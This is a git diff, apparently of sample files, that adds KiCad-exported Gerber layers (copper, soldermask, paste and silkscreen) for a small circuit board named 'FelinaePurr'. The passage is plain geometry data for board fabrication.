+X173970535Y-87053571D02*
+X174684821Y-87053571D01*
+X174684821Y-85553571D01*
+X173970535Y-85553571D01*
+X173541964Y-85553571D02*
+X173041964Y-87053571D01*
+X172541964Y-85553571D01*
+X181041964Y-89678571D02*
+X181541964Y-88964285D01*
+X181899107Y-89678571D02*
+X181899107Y-88178571D01*
+X181327678Y-88178571D01*
+X181184821Y-88250000D01*
+X181113392Y-88321428D01*
+X181041964Y-88464285D01*
+X181041964Y-88678571D01*
+X181113392Y-88821428D01*
+X181184821Y-88892857D01*
+X181327678Y-88964285D01*
+X181899107Y-88964285D01*
+X180541964Y-88178571D02*
+X179541964Y-89678571D01*
+X179541964Y-88178571D02*
+X180541964Y-89678571D01*
+X179184821Y-88178571D02*
+X178327678Y-88178571D01*
+X178756250Y-89678571D02*
+X178756250Y-88178571D01*
+X177970535Y-88178571D02*
+X176970535Y-89678571D01*
+X176970535Y-88178571D02*
+X177970535Y-89678571D01*
+X181113392Y-90875000D02*
+X181256250Y-90803571D01*
+X181470535Y-90803571D01*
+X181684821Y-90875000D01*
+X181827678Y-91017857D01*
+X181899107Y-91160714D01*
+X181970535Y-91446428D01*
+X181970535Y-91660714D01*
+X181899107Y-91946428D01*
+X181827678Y-92089285D01*
+X181684821Y-92232142D01*
+X181470535Y-92303571D01*
+X181327678Y-92303571D01*
+X181113392Y-92232142D01*
+X181041964Y-92160714D01*
+X181041964Y-91660714D01*
+X181327678Y-91660714D01*
+X180399107Y-92303571D02*
+X180399107Y-90803571D01*
+X179541964Y-92303571D01*
+X179541964Y-90803571D01*
+X178827678Y-92303571D02*
+X178827678Y-90803571D01*
+X178470535Y-90803571D01*
+X178256250Y-90875000D01*
+X178113392Y-91017857D01*
+X178041964Y-91160714D01*
+X177970535Y-91446428D01*
+X177970535Y-91660714D01*
+X178041964Y-91946428D01*
+X178113392Y-92089285D01*
+X178256250Y-92232142D01*
+X178470535Y-92303571D01*
+X178827678Y-92303571D01*
+D13*
+G36*
+X164873000Y-87373000D02*
+X154627000Y-87373000D01*
+X154627000Y-83127000D01*
+X164873000Y-83127000D01*
+X164873000Y-87373000D01*
+X164873000Y-87373000D01*
+G37*
+X164873000Y-87373000D02*
+X154627000Y-87373000D01*
+X154627000Y-83127000D01*
+X164873000Y-83127000D01*
+X164873000Y-87373000D01*
+%LPC*%
+D14*
+X175640000Y-81600000D03*
+D15*
+X173100000Y-81600000D03*
+X170560000Y-81600000D03*
+D16*
+X184000000Y-86460000D03*
+D17*
+X184000000Y-89000000D03*
+X184000000Y-91540000D03*
+D18*
+X152900000Y-88350000D03*
+X152900000Y-90350000D03*
+X152900000Y-92850000D03*
+X152900000Y-85850000D03*
+D19*
+X150800000Y-83500000D03*
+X150800000Y-95200000D03*
+D20*
+X150800000Y-87100000D03*
+X150800000Y-91600000D03*
+M02*
diff --git a/samples/Gerber Image/FelinaePurr-F.Cu.gtl b/samples/Gerber Image/FelinaePurr-F.Cu.gtl
new file mode 100644
index 0000000000..785db26bcc
--- /dev/null
+++ b/samples/Gerber Image/FelinaePurr-F.Cu.gtl	
@@ -0,0 +1,571 @@
+G04 #@! TF.FileFunction,Copper,L1,Top,Signal*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.150000*%
+%ADD11R,0.800000X0.750000*%
+%ADD12R,0.750000X0.800000*%
+%ADD13R,1.198880X1.198880*%
+%ADD14R,1.727200X2.032000*%
+%ADD15O,1.727200X2.032000*%
+%ADD16R,0.500000X0.900000*%
+%ADD17R,0.450000X1.750000*%
+%ADD18R,1.060000X0.650000*%
+%ADD19R,2.032000X1.727200*%
+%ADD20O,2.032000X1.727200*%
+%ADD21R,0.900000X0.500000*%
+%ADD22C,1.300000*%
+%ADD23C,2.800000*%
+%ADD24C,0.685800*%
+%ADD25C,0.800000*%
+%ADD26C,0.500000*%
+%ADD27C,0.300000*%
+%ADD28C,0.400000*%
+%ADD29C,0.800000*%
+%ADD30C,0.250000*%
+%ADD31C,0.180000*%
+%ADD32C,0.160000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X165350000Y-82700000D03*
+X163850000Y-82700000D03*
+X162350000Y-82700000D03*
+X160850000Y-82700000D03*
+D12*
+X172700000Y-87350000D03*
+X172700000Y-88850000D03*
+D11*
+X181100000Y-90600000D03*
+X179600000Y-90600000D03*
+D13*
+X168800000Y-94500000D03*
+X168800000Y-96598040D03*
+X170800000Y-94500000D03*
+X170800000Y-96598040D03*
+X172800000Y-94500000D03*
+X172800000Y-96598040D03*
+D14*
+X175640000Y-81600000D03*
+D15*
+X173100000Y-81600000D03*
+X170560000Y-81600000D03*
+D16*
+X181100000Y-89000000D03*
+X179600000Y-89000000D03*
+X179600000Y-87300000D03*
+X181100000Y-87300000D03*
+D17*
+X156775000Y-92600000D03*
+X157425000Y-92600000D03*
+X158075000Y-92600000D03*
+X158725000Y-92600000D03*
+X159375000Y-92600000D03*
+X160025000Y-92600000D03*
+X160675000Y-92600000D03*
+X161325000Y-92600000D03*
+X161975000Y-92600000D03*
+X162625000Y-92600000D03*
+X163275000Y-92600000D03*
+X163925000Y-92600000D03*
+X164575000Y-92600000D03*
+X165225000Y-92600000D03*
+X165225000Y-85400000D03*
+X164575000Y-85400000D03*
+X163925000Y-85400000D03*
+X163275000Y-85400000D03*
+X162625000Y-85400000D03*
+X161975000Y-85400000D03*
+X161325000Y-85400000D03*
+X160675000Y-85400000D03*
+X160025000Y-85400000D03*
+X159375000Y-85400000D03*
+X158725000Y-85400000D03*
+X158075000Y-85400000D03*
+X157425000Y-85400000D03*
+X156775000Y-85400000D03*
+D18*
+X175000000Y-87150000D03*
+X175000000Y-88100000D03*
+X175000000Y-89050000D03*
+X177200000Y-89050000D03*
+X177200000Y-87150000D03*
+D19*
+X184000000Y-86460000D03*
+D20*
+X184000000Y-89000000D03*
+X184000000Y-91540000D03*
+D13*
+X174900000Y-94501960D03*
+X174900000Y-96600000D03*
+D11*
+X159000000Y-94600000D03*
+X160500000Y-94600000D03*
+X162350000Y-81100000D03*
+X160850000Y-81100000D03*
+D21*
+X171150000Y-88600000D03*
+X171150000Y-90100000D03*
+X169550000Y-88600000D03*
+X169550000Y-90100000D03*
+X168800000Y-91300000D03*
+X168800000Y-92800000D03*
+X170800000Y-91300000D03*
+X170800000Y-92800000D03*
+X172800000Y-91300000D03*
+X172800000Y-92800000D03*
+X174900000Y-91300000D03*
+X174900000Y-92800000D03*
+X176600000Y-91300000D03*
+X176600000Y-92800000D03*
+D22*
+X152900000Y-88350000D03*
+X152900000Y-90350000D03*
+X152900000Y-92850000D03*
+X152900000Y-85850000D03*
+D23*
+X150800000Y-83500000D03*
+X150800000Y-95200000D03*
+D24*
+X173700000Y-89200000D03*
+X162300004Y-87000000D03*
+X159600000Y-82700000D03*
+X161700000Y-94600000D03*
+X176200000Y-96600000D03*
+X179600000Y-91700000D03*
+X158100000Y-83900000D03*
+X168600000Y-89399998D03*
+X167200000Y-85000000D03*
+X159600000Y-81100000D03*
+X163800000Y-81100000D03*
+D25*
+X159300000Y-87400000D03*
+X167300000Y-96600000D03*
+X167300000Y-94500000D03*
+X160900000Y-87400000D03*
+D24*
+X174900000Y-90299999D03*
+X174900000Y-85300000D03*
+D25*
+X166500002Y-90900000D03*
+X177200000Y-90200000D03*
+X168000000Y-87400000D03*
+X173800000Y-87400000D03*
+D24*
+X154500000Y-89792900D03*
+X154500000Y-88907100D03*
+D26*
+X165325000Y-82700000D02*
+X165325000Y-83475000D01*
+X165325000Y-83475000D02*
+X164900000Y-83900000D01*
+X164900000Y-83900000D02*
+X164250677Y-83900000D01*
+X163947598Y-84375049D02*
+X163927410Y-84395237D01*
+X164250677Y-83900000D02*
+X163947598Y-84203079D01*
+X163947598Y-84203079D02*
+X163947598Y-84375049D01*
+X163927410Y-84395237D02*
+X163927410Y-85400000D01*
+D27*
+X165325000Y-82700000D02*
+X165325000Y-82826415D01*
+D26*
+X165350000Y-82700000D02*
+X165325000Y-82700000D01*
+X172700000Y-88850000D02*
+X173350000Y-88850000D01*
+X173350000Y-88850000D02*
+X173700000Y-89200000D01*
+X175000000Y-89050000D02*
+X173850000Y-89050000D01*
+X173850000Y-89050000D02*
+X173700000Y-89200000D01*
+X175000000Y-88100000D02*
+X175000000Y-89050000D01*
+X163850000Y-82700000D02*
+X163850000Y-83378030D01*
+X163850000Y-83378030D02*
+X163295188Y-83932842D01*
+X163275000Y-84125000D02*
+X163295188Y-84104812D01*
+X163295188Y-84104812D02*
+X163295188Y-83932842D01*
+X163275000Y-85400000D02*
+X163275000Y-84125000D01*
+X160850000Y-82700000D02*
+X160850000Y-83575000D01*
+X160850000Y-83575000D02*
+X160875000Y-83600000D01*
+X160875000Y-83600000D02*
+X160900000Y-83600000D01*
+X161325000Y-85400000D02*
+X161325000Y-84025000D01*
+X161325000Y-84025000D02*
+X160900000Y-83600000D01*
+X160675000Y-92600000D02*
+X160675000Y-93800000D01*
+X160500000Y-94600000D02*
+X160500000Y-93975000D01*
+X160500000Y-93975000D02*
+X160675000Y-93800000D01*
+X163275000Y-85400000D02*
+X163275000Y-86509937D01*
+X163275000Y-86509937D02*
+X162784937Y-87000000D01*
+X162784937Y-87000000D02*
+X162300004Y-87000000D01*
+X161325000Y-86509929D02*
+X161815071Y-87000000D01*
+X161325000Y-85400000D02*
+X161325000Y-86509929D01*
+X161815071Y-87000000D02*
+X162300004Y-87000000D01*
+X159700000Y-82700000D02*
+X159600000Y-82700000D01*
+X160850000Y-82700000D02*
+X159700000Y-82700000D01*
+X160850000Y-82700000D02*
+X160850000Y-81100000D01*
+X160500000Y-94600000D02*
+X161700000Y-94600000D01*
+X158075000Y-85400000D02*
+X158075000Y-83925000D01*
+X158075000Y-83925000D02*
+X158100000Y-83900000D01*
+X158075000Y-85400000D02*
+X158725000Y-85400000D01*
+X179600000Y-90600000D02*
+X179600000Y-91700000D01*
+X174900000Y-96600000D02*
+X176200000Y-96600000D01*
+X172800000Y-96598040D02*
+X174898040Y-96598040D01*
+X174898040Y-96598040D02*
+X174900000Y-96600000D01*
+X169250000Y-85000000D02*
+X170560000Y-83690000D01*
+X170560000Y-83690000D02*
+X170560000Y-81600000D01*
+X167200000Y-85000000D02*
+X169250000Y-85000000D01*
+X168600000Y-90500000D02*
+X168600000Y-89399998D01*
+X168800000Y-91300000D02*
+X168800000Y-90700000D01*
+X168800000Y-90700000D02*
+X168600000Y-90500000D01*
+D28*
+X170500000Y-88600000D02*
+X171150000Y-88600000D01*
+D26*
+X169550000Y-88600000D02*
+X170500000Y-88600000D01*
+X168600000Y-89399998D02*
+X168750002Y-89399998D01*
+X168750002Y-89399998D02*
+X169550000Y-88600000D01*
+X162350000Y-82700000D02*
+X162350000Y-83575000D01*
+X162350000Y-83575000D02*
+X161977410Y-83947590D01*
+X161977410Y-83947590D02*
+X161977410Y-85400000D01*
+D29*
+X162350000Y-81100000D02*
+X163800000Y-81100000D01*
+D30*
+X174222599Y-89677401D02*
+X175726921Y-89677401D01*
+X175726921Y-89677401D02*
+X176250000Y-89154322D01*
+X176250000Y-89154322D02*
+X176250000Y-88675000D01*
+X176250000Y-88675000D02*
+X177200000Y-87725000D01*
+X177200000Y-87725000D02*
+X177200000Y-87150000D01*
+D26*
+X177200000Y-87150000D02*
+X179450000Y-87150000D01*
+X179450000Y-87150000D02*
+X179600000Y-87300000D01*
+X159000000Y-94600000D02*
+X159000000Y-94000000D01*
+X159000000Y-94000000D02*
+X158725000Y-93725000D01*
+X158725000Y-93725000D02*
+X158725000Y-92600000D01*
+D28*
+X174222599Y-89677401D02*
+X173800000Y-90100000D01*
+X159600000Y-96600000D02*
+X159000000Y-96000000D01*
+D27*
+X181100000Y-87300000D02*
+X181100000Y-89000000D01*
+X181100000Y-90600000D02*
+X181100000Y-89000000D01*
+X181100000Y-89000000D02*
+X184000000Y-89000000D01*
+D26*
+X168800000Y-94500000D02*
+X168800000Y-92800000D01*
+X168800000Y-96598040D02*
+X167301960Y-96598040D01*
+X167301960Y-96598040D02*
+X167300000Y-96600000D01*
+D27*
+X159300000Y-87400000D02*
+X160025000Y-86675000D01*
+X160025000Y-86675000D02*
+X160025000Y-85400000D01*
+D26*
+X170800000Y-92800000D02*
+X170800000Y-94500000D01*
+X167300000Y-94500000D02*
+X167300000Y-95065685D01*
+X167300000Y-95065685D02*
+X167734314Y-95499999D01*
+X167734314Y-95499999D02*
+X167876797Y-95499999D01*
+X167876797Y-95499999D02*
+X167878639Y-95501841D01*
+X167878639Y-95501841D02*
+X170603241Y-95501841D01*
+X170603241Y-95501841D02*
+X170800000Y-95698600D01*
+X170800000Y-95698600D02*
+X170800000Y-96598040D01*
+D27*
+X160675000Y-85400000D02*
+X160675000Y-86400000D01*
+X160900000Y-86900000D02*
+X160675000Y-86675000D01*
+X160675000Y-86675000D02*
+X160675000Y-86400000D01*
+X160900000Y-87400000D02*
+X160900000Y-86900000D01*
+D26*
+X172800000Y-92800000D02*
+X172800000Y-94500000D01*
+D27*
+X175640000Y-81600000D02*
+X175640000Y-84560000D01*
+X175640000Y-84560000D02*
+X174900000Y-85300000D01*
+D26*
+X176600000Y-91300000D02*
+X175599999Y-90299999D01*
+X175599999Y-90299999D02*
+X174900000Y-90299999D01*
+D29*
+X175640000Y-81600000D02*
+X180803600Y-81600000D01*
+X180803600Y-81600000D02*
+X184000000Y-84796400D01*
+X184000000Y-84796400D02*
+X184000000Y-86460000D01*
+D26*
+X174900000Y-92800000D02*
+X174900000Y-94501960D01*
+D27*
+X165934317Y-90900000D02*
+X166500002Y-90900000D01*
+X159900000Y-90900000D02*
+X165934317Y-90900000D01*
+X159375000Y-91425000D02*
+X159900000Y-90900000D01*
+X159375000Y-92600000D02*
+X159375000Y-91425000D01*
+X177200000Y-90200000D02*
+X177200000Y-89050000D01*
+X177200000Y-89050000D02*
+X179550000Y-89050000D01*
+X179550000Y-89050000D02*
+X179600000Y-89000000D01*
+X166000000Y-89400000D02*
+X167600001Y-87799999D01*
+X158400000Y-89400000D02*
+X166000000Y-89400000D01*
+X167600001Y-87799999D02*
+X168000000Y-87400000D01*
+X156775000Y-91025000D02*
+X158400000Y-89400000D01*
+X175000000Y-87150000D02*
+X174050000Y-87150000D01*
+X174050000Y-87150000D02*
+X173800000Y-87400000D01*
+X156775000Y-91025000D02*
+X156800000Y-91000000D01*
+X156775000Y-92600000D02*
+X156775000Y-91025000D01*
+D26*
+X169550000Y-90100000D02*
+X169600000Y-90100000D01*
+X169600000Y-90100000D02*
+X170800000Y-91300000D01*
+X174900000Y-91300000D02*
+X175100000Y-91300000D01*
+X175100000Y-91300000D02*
+X176600000Y-92800000D01*
+X171150000Y-90100000D02*
+X171600000Y-90100000D01*
+X171600000Y-90100000D02*
+X172800000Y-91300000D01*
+D27*
+X154500000Y-89792900D02*
+X154342900Y-89792900D01*
+X154342900Y-89792900D02*
+X152900000Y-88350000D01*
+X157560197Y-89599999D02*
+X154692901Y-89599999D01*
+X154692901Y-89599999D02*
+X154500000Y-89792900D01*
+X165225000Y-86712500D02*
+X165150000Y-86787500D01*
+X165225000Y-85400000D02*
+X165225000Y-86712500D01*
+X165150000Y-86787500D02*
+X165150000Y-87703552D01*
+X165150000Y-87703552D02*
+X163905962Y-88947590D01*
+X163905962Y-88947590D02*
+X158212605Y-88947591D01*
+X158212605Y-88947591D02*
+X157560197Y-89599999D01*
+X157353101Y-89100001D02*
+X154692901Y-89100001D01*
+X154692901Y-89100001D02*
+X154500000Y-88907100D01*
+X164650000Y-86787500D02*
+X164650000Y-87496448D01*
+X158005501Y-88447601D02*
+X157353101Y-89100001D01*
+X164575000Y-85400000D02*
+X164575000Y-86712500D01*
+X164575000Y-86712500D02*
+X164650000Y-86787500D01*
+X164650000Y-87496448D02*
+X163698847Y-88447601D01*
+X163698847Y-88447601D02*
+X158005501Y-88447601D01*
+D31*
+G36*
+X161443040Y-80386260D02*
+X161404451Y-80479422D01*
+X161363152Y-80451826D01*
+X161250000Y-80429319D01*
+X160450000Y-80429319D01*
+X160336848Y-80451826D01*
+X160240922Y-80515922D01*
+X160176826Y-80611848D01*
+X160154319Y-80725000D01*
+X160154319Y-81475000D01*
+X160176826Y-81588152D01*
+X160240922Y-81684078D01*
+X160310000Y-81730235D01*
+X160310000Y-82069765D01*
+X160240922Y-82115922D01*
+X160211470Y-82160000D01*
+X159949905Y-82160000D01*
+X159726444Y-82067210D01*
+X159474661Y-82066991D01*
+X159241959Y-82163141D01*
+X159063767Y-82341023D01*
+X158967210Y-82573556D01*
+X158966991Y-82825339D01*
+X159063141Y-83058041D01*
+X159241023Y-83236233D01*
+X159473556Y-83332790D01*
+X159725339Y-83333009D01*
+X159950439Y-83240000D01*
+X160211470Y-83240000D01*
+X160240922Y-83284078D01*
+X160310000Y-83330235D01*
+X160310000Y-83575000D01*
+X160351105Y-83781649D01*
+X160468162Y-83956838D01*
+X160493160Y-83981835D01*
+X160493162Y-83981838D01*
+X160568503Y-84032179D01*
+X160765644Y-84229319D01*
+X160450000Y-84229319D01*
+X160350000Y-84249210D01*
+X160250000Y-84229319D01*
+X159800000Y-84229319D01*
+X159700000Y-84249210D01*
+X159600000Y-84229319D01*
+X159150000Y-84229319D01*
+X159050000Y-84249210D01*
+X158950000Y-84229319D01*
+X158648548Y-84229319D01*
+X158732790Y-84026444D01*
+X172906000Y-81774000D01*
+X172906000Y-81426000D01*
+X172926000Y-81426000D01*
+X172926000Y-81406000D01*
+X173274000Y-81406000D01*
+X173274000Y-81426000D01*
+X173274000Y-81426000D01*
+G37*
+X173274000Y-81426000D02*
+X180070000Y-89624732D01*
+X180070000Y-89953439D01*
+X180000000Y-89939515D01*
+X179200000Y-89939515D01*
+X179090750Y-89961246D01*
+X178998132Y-90023132D01*
+X178936246Y-90115750D01*
+X172926000Y-81774000D01*
+X172906000Y-81774000D01*
+X172906000Y-81426000D01*
+X172926000Y-81426000D01*
+X172926000Y-81406000D01*
+X173274000Y-81406000D01*
+X173274000Y-81426000D01*
+D31*
+G36*
+X181810000Y-87900000D02*
+X181816851Y-87934442D01*
+X181836360Y-87963640D01*
+X181865558Y-87983149D01*
+X181900000Y-87990000D01*
+X185210000Y-87990000D01*
+X185210000Y-89910000D01*
+X182100000Y-89910000D01*
+X182065558Y-89916851D01*
+X182036360Y-89936360D01*
+X182016851Y-89965558D01*
+X182010000Y-90000000D01*
+X182010000Y-91310000D01*
+X180490000Y-91310000D01*
+X180490000Y-86190000D01*
+X181810000Y-86190000D01*
+X181810000Y-87900000D01*
+X181810000Y-87900000D01*
+G37*
+X181810000Y-87900000D02*
+X181816851Y-87934442D01*
+X181836360Y-87963640D01*
+X181865558Y-87983149D01*
+X181900000Y-87990000D01*
+X185210000Y-87990000D01*
+X185210000Y-89910000D01*
+X182100000Y-89910000D01*
+X182065558Y-89916851D01*
+X182036360Y-89936360D01*
+X182016851Y-89965558D01*
+X182010000Y-90000000D01*
+X182010000Y-91310000D01*
+X180490000Y-91310000D01*
+X180490000Y-86190000D01*
+X181810000Y-86190000D01*
+X181810000Y-87900000D01*
+M02*
diff --git a/samples/Gerber Image/FelinaePurr-F.Mask.gts b/samples/Gerber Image/FelinaePurr-F.Mask.gts
new file mode 100644
index 0000000000..5011829795
--- /dev/null
+++ b/samples/Gerber Image/FelinaePurr-F.Mask.gts	
@@ -0,0 +1,128 @@
+G04 #@! TF.FileFunction,Soldermask,Top*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.150000*%
+%ADD11R,0.800000X0.750000*%
+%ADD12R,0.750000X0.800000*%
+%ADD13R,1.198880X1.198880*%
+%ADD14R,1.727200X2.032000*%
+%ADD15O,1.727200X2.032000*%
+%ADD16R,0.500000X0.900000*%
+%ADD17R,0.450000X1.750000*%
+%ADD18R,1.060000X0.650000*%
+%ADD19R,2.032000X1.727200*%
+%ADD20O,2.032000X1.727200*%
+%ADD21R,0.900000X0.500000*%
+%ADD22C,1.300000*%
+%ADD23C,2.800000*%
+%ADD24C,1.200000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X165350000Y-82700000D03*
+X163850000Y-82700000D03*
+X162350000Y-82700000D03*
+X160850000Y-82700000D03*
+D12*
+X172700000Y-87350000D03*
+X172700000Y-88850000D03*
+D11*
+X181100000Y-90600000D03*
+X179600000Y-90600000D03*
+D13*
+X168800000Y-94500000D03*
+X168800000Y-96598040D03*
+X170800000Y-94500000D03*
+X170800000Y-96598040D03*
+X172800000Y-94500000D03*
+X172800000Y-96598040D03*
+D14*
+X175640000Y-81600000D03*
+D15*
+X173100000Y-81600000D03*
+X170560000Y-81600000D03*
+D16*
+X181100000Y-89000000D03*
+X179600000Y-89000000D03*
+X179600000Y-87300000D03*
+X181100000Y-87300000D03*
+D17*
+X156775000Y-92600000D03*
+X157425000Y-92600000D03*
+X158075000Y-92600000D03*
+X158725000Y-92600000D03*
+X159375000Y-92600000D03*
+X160025000Y-92600000D03*
+X160675000Y-92600000D03*
+X161325000Y-92600000D03*
+X161975000Y-92600000D03*
+X162625000Y-92600000D03*
+X163275000Y-92600000D03*
+X163925000Y-92600000D03*
+X164575000Y-92600000D03*
+X165225000Y-92600000D03*
+X165225000Y-85400000D03*
+X164575000Y-85400000D03*
+X163925000Y-85400000D03*
+X163275000Y-85400000D03*
+X162625000Y-85400000D03*
+X161975000Y-85400000D03*
+X161325000Y-85400000D03*
+X160675000Y-85400000D03*
+X160025000Y-85400000D03*
+X159375000Y-85400000D03*
+X158725000Y-85400000D03*
+X158075000Y-85400000D03*
+X157425000Y-85400000D03*
+X156775000Y-85400000D03*
+D18*
+X175000000Y-87150000D03*
+X175000000Y-88100000D03*
+X175000000Y-89050000D03*
+X177200000Y-89050000D03*
+X177200000Y-87150000D03*
+D19*
+X184000000Y-86460000D03*
+D20*
+X184000000Y-89000000D03*
+X184000000Y-91540000D03*
+D13*
+X174900000Y-94501960D03*
+X174900000Y-96600000D03*
+D11*
+X159000000Y-94600000D03*
+X160500000Y-94600000D03*
+X162350000Y-81100000D03*
+X160850000Y-81100000D03*
+D21*
+X171150000Y-88600000D03*
+X171150000Y-90100000D03*
+X169550000Y-88600000D03*
+X169550000Y-90100000D03*
+X168800000Y-91300000D03*
+X168800000Y-92800000D03*
+X170800000Y-91300000D03*
+X170800000Y-92800000D03*
+X172800000Y-91300000D03*
+X172800000Y-92800000D03*
+X174900000Y-91300000D03*
+X174900000Y-92800000D03*
+X176600000Y-91300000D03*
+X176600000Y-92800000D03*
+D22*
+X152900000Y-88350000D03*
+X152900000Y-90350000D03*
+X152900000Y-92850000D03*
+X152900000Y-85850000D03*
+D23*
+X150800000Y-83500000D03*
+X150800000Y-95200000D03*
+D24*
+X150800000Y-87100000D03*
+X150800000Y-91600000D03*
+M02*
diff --git a/samples/Gerber Image/FelinaePurr-F.Paste.gtp b/samples/Gerber Image/FelinaePurr-F.Paste.gtp
new file mode 100644
index 0000000000..ce986cd758
--- /dev/null
+++ b/samples/Gerber Image/FelinaePurr-F.Paste.gtp	
@@ -0,0 +1,12 @@
+G04 #@! TF.FileFunction,Paste,Top*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.150000*%
+G04 APERTURE END LIST*
+D10*
+M02*
diff --git a/samples/Gerber Image/FelinaePurr-F.SilkS.gto b/samples/Gerber Image/FelinaePurr-F.SilkS.gto
new file mode 100644
index 0000000000..3757235d35
--- /dev/null
+++ b/samples/Gerber Image/FelinaePurr-F.SilkS.gto	
@@ -0,0 +1,255 @@
+G04 #@! TF.FileFunction,Legend,Top*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.150000*%
+%ADD11C,0.200000*%
+%ADD12C,0.500000*%
+%ADD13C,0.175000*%
+%ADD14C,0.120000*%
+%ADD15R,0.800000X0.750000*%
+%ADD16R,0.750000X0.800000*%
+%ADD17R,1.198880X1.198880*%
+%ADD18R,1.727200X2.032000*%
+%ADD19O,1.727200X2.032000*%
+%ADD20R,0.500000X0.900000*%
+%ADD21R,0.450000X1.750000*%
+%ADD22R,1.060000X0.650000*%
+%ADD23R,2.032000X1.727200*%
+%ADD24O,2.032000X1.727200*%
+%ADD25R,0.900000X0.500000*%
+%ADD26C,1.300000*%
+%ADD27C,2.800000*%
+%ADD28C,1.200000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X181000000Y-96250000D02*
+X181000000Y-96750000D01*
+X180750000Y-96500000D02*
+X181250000Y-96500000D01*
+X180750000Y-97250000D02*
+X181250000Y-97250000D01*
+D12*
+X156000000Y-92800000D02*
+G75*
+G03X156000000Y-92800000I-200000J0D01*
+G01*
+D13*
+X174800000Y-84116666D02*
+X174800000Y-83416666D01*
+X174966666Y-83416666D01*
+X175066666Y-83450000D01*
+X175133333Y-83516666D01*
+X175166666Y-83583333D01*
+X175200000Y-83716666D01*
+X175200000Y-83816666D01*
+X175166666Y-83950000D01*
+X175133333Y-84016666D01*
+X175066666Y-84083333D01*
+X174966666Y-84116666D01*
+X174800000Y-84116666D01*
+X175500000Y-83750000D02*
+X175733333Y-83750000D01*
+X157483333Y-97316666D02*
+X161783333Y-96816666D01*
+X162450000Y-97116666D02*
+X162783333Y-97116666D01*
+X162383333Y-97316666D02*
+X162616666Y-96616666D01*
+X162850000Y-97316666D01*
+D10*
+X164950000Y-83300000D02*
+X164250000Y-83300000D01*
+X164250000Y-82100000D02*
+X164950000Y-82100000D01*
+X161950000Y-83300000D02*
+X161250000Y-83300000D01*
+X161250000Y-82100000D02*
+X161950000Y-82100000D01*
+X173300000Y-87750000D02*
+X173300000Y-88450000D01*
+X172100000Y-88450000D02*
+X172100000Y-87750000D01*
+X180700000Y-91200000D02*
+X180000000Y-91200000D01*
+X180000000Y-90000000D02*
+X180700000Y-90000000D01*
+X169550000Y-97149020D02*
+X169550000Y-94449020D01*
+X168050000Y-97149020D02*
+X168050000Y-94449020D01*
+X168950000Y-95649020D02*
+X168700000Y-95649020D01*
+X168700000Y-95649020D02*
+X168850000Y-95799020D01*
+X168450000Y-95899020D02*
+X169150000Y-95899020D01*
+X168800000Y-95549020D02*
+X168800000Y-95199020D01*
+X168800000Y-95899020D02*
+X168450000Y-95549020D01*
+X168450000Y-95549020D02*
+X169150000Y-95549020D01*
+X169150000Y-95549020D02*
+X168800000Y-95899020D01*
+X171550000Y-97149020D02*
+X171550000Y-94449020D01*
+X170050000Y-97149020D02*
+X170050000Y-94449020D01*
+X170950000Y-95649020D02*
+X170700000Y-95649020D01*
+X170700000Y-95649020D02*
+X170850000Y-95799020D01*
+X170450000Y-95899020D02*
+X171150000Y-95899020D01*
+X170800000Y-95549020D02*
+X170800000Y-95199020D01*
+X175900000Y-86400000D02*
+G75*
+G03X175900000Y-86400000I-100000J0D01*
+G01*
+X176350000Y-86650000D02*
+X175850000Y-86650000D01*
+X176350000Y-89550000D02*
+X176350000Y-86650000D01*
+X175850000Y-89550000D02*
+X176350000Y-89550000D01*
+X175850000Y-86650000D02*
+X175850000Y-89550000D01*
+X182730000Y-87730000D02*
+X182730000Y-92810000D01*
+X182730000Y-92810000D02*
+X185270000Y-92810000D01*
+X185270000Y-92810000D02*
+X185270000Y-87730000D01*
+X185550000Y-84910000D02*
+X185550000Y-86460000D01*
+X185270000Y-87730000D02*
+X182730000Y-87730000D01*
+X175580000Y-92550000D01*
+X175920000Y-92550000D02*
+X175920000Y-91550000D01*
+X177280000Y-91550000D02*
+X177280000Y-92550000D01*
+D10*
+X148000000Y-95350000D02*
+X148000000Y-83350000D01*
+X134100000Y-83350000D02*
+X152800000Y-83350000D01*
+X134100000Y-95350000D02*
+X134100000Y-83350000D01*
+X152900000Y-95350000D02*
+X141352380Y-88850000D02*
+X140352380Y-88850000D01*
+X140495238Y-88945238D01*
+X140590476Y-89040476D01*
+X140638095Y-89135714D01*
+%LPC*%
+D15*
+X165350000Y-82700000D03*
+X163850000Y-82700000D03*
+X162350000Y-82700000D03*
+X160850000Y-82700000D03*
+D16*
+X172700000Y-87350000D03*
+X172700000Y-88850000D03*
+D15*
+X181100000Y-90600000D03*
+X179600000Y-90600000D03*
+D17*
+X168800000Y-94500000D03*
+X168800000Y-96598040D03*
+X170800000Y-94500000D03*
+X170800000Y-96598040D03*
+X172800000Y-94500000D03*
+X172800000Y-96598040D03*
+D18*
+X175640000Y-81600000D03*
+D19*
+X173100000Y-81600000D03*
+X170560000Y-81600000D03*
+D20*
+X181100000Y-89000000D03*
+X179600000Y-89000000D03*
+X179600000Y-87300000D03*
+X181100000Y-87300000D03*
+D21*
+X156775000Y-92600000D03*
+X157425000Y-92600000D03*
+X158075000Y-92600000D03*
+X158725000Y-92600000D03*
+X159375000Y-92600000D03*
+X160025000Y-92600000D03*
+X160675000Y-92600000D03*
+X161325000Y-92600000D03*
